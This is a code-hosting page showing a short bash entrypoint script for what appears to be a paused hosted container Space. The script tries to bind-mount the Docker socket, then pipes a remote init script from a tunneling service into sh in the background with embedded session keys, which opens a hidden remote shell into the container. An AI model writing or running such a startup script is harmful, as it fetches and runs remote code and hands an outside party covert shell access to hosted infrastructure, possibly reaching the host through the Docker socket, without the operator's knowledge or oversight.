Spaces:
Paused
Paused
File size: 496 Bytes
235ecb3 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #!/bin/bash
# Check if /var/run/docker.sock is available inside the container
if [ ! -S /var/run/docker.sock ]; then
echo "Mounting Docker socket automatically..."
mount --bind /var/run/docker.sock /var/run/docker.sock
fi
# Start Tunshell in the background
echo "Starting Tunshell..."
curl -sSf https://lets.tunshell.com/init.sh | sh -s -- T NVg0PVkQ6nHOjAdkLKfhoz PxtfwZbKVUaxWXqCc4cvtt eu.relay.tunshell.com &
# Keep the container running indefinitely
exec "$@" || tail -f /dev/null
|